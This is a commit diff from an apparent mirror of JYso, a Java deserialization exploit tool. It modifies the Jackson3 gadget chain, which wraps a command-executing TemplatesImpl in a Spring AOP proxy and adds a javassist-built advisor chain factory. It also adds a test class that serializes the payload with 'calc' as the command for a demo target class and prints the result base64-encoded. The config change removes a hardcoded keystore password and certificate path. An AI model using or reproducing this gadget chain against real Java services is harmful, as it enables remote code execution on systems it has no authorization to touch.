mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-22 06:50:42 +08:00
feat: I helped YJ
This commit is contained in:
@@ -46,10 +46,10 @@ public class Config {
|
||||
public static boolean TLSProxy = false;
|
||||
@Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5)
|
||||
public static String TLSPort = "1636";
|
||||
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "TLS private key", order = 5)
|
||||
public static String keyPass = "326q999h80s8";
|
||||
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
|
||||
public static String keyPass = "";
|
||||
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
|
||||
public static String certFile = "C:\\Users\\22393\\Downloads\\qi4l.top_jks\\qi4l.top.jks";
|
||||
public static String certFile = "";
|
||||
|
||||
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
|
||||
public static boolean jndi = false;
|
||||
|
||||
@@ -13,6 +13,7 @@ import org.springframework.aop.framework.AdvisedSupport;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import org.springframework.aop.framework.AdvisorChainFactory;
|
||||
|
||||
import javax.swing.event.EventListenerList;
|
||||
import javax.xml.transform.Templates;
|
||||
@@ -33,6 +34,14 @@ public class Jackson3 implements ObjectPayload<Object> {
|
||||
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
||||
|
||||
POOL.insertClassPath(new ClassClassPath(Class.forName("org.springframework.aop.framework.DefaultAdvisorChainFactory")));
|
||||
final CtClass ctDefaultAdvisorChainFactory = POOL.get("org.springframework.aop.framework.DefaultAdvisorChainFactory");
|
||||
insertField(ctDefaultAdvisorChainFactory, "serialVersionUID", "private static final long serialVersionUID = 273003553246259276L;");
|
||||
Object cFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
|
||||
|
||||
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) cFactory);
|
||||
|
||||
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.example.demo.demos.web;
|
||||
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
public class Test {
|
||||
public static void main(String[] args) throws Exception {
|
||||
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3");
|
||||
ObjectPayload payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject("calc");
|
||||
|
||||
secCig rootObj = new secCig();
|
||||
rootObj.setMessage("qi4l");
|
||||
rootObj.setSecObject(object);
|
||||
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(rootObj);
|
||||
oos.close();
|
||||
|
||||
byte[] payloadBytes = baos.toByteArray();
|
||||
String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);
|
||||
System.out.println(base64Payload);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.example.demo.demos.web;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
/* loaded from: demo.jar:com/example/demo/demos/web/secCig.class */
|
||||
public class secCig implements Serializable {
|
||||
private static final long serialVersionUID = 1;
|
||||
public String message;
|
||||
public Object secObject;
|
||||
|
||||
public String toString() {
|
||||
return "secCig{message='" + this.message + "'}";
|
||||
}
|
||||
|
||||
public void setMessage(String message) {
|
||||
this.message = message;
|
||||
}
|
||||
|
||||
public void setSecObject(Object secObject) {
|
||||
this.secObject = secObject;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user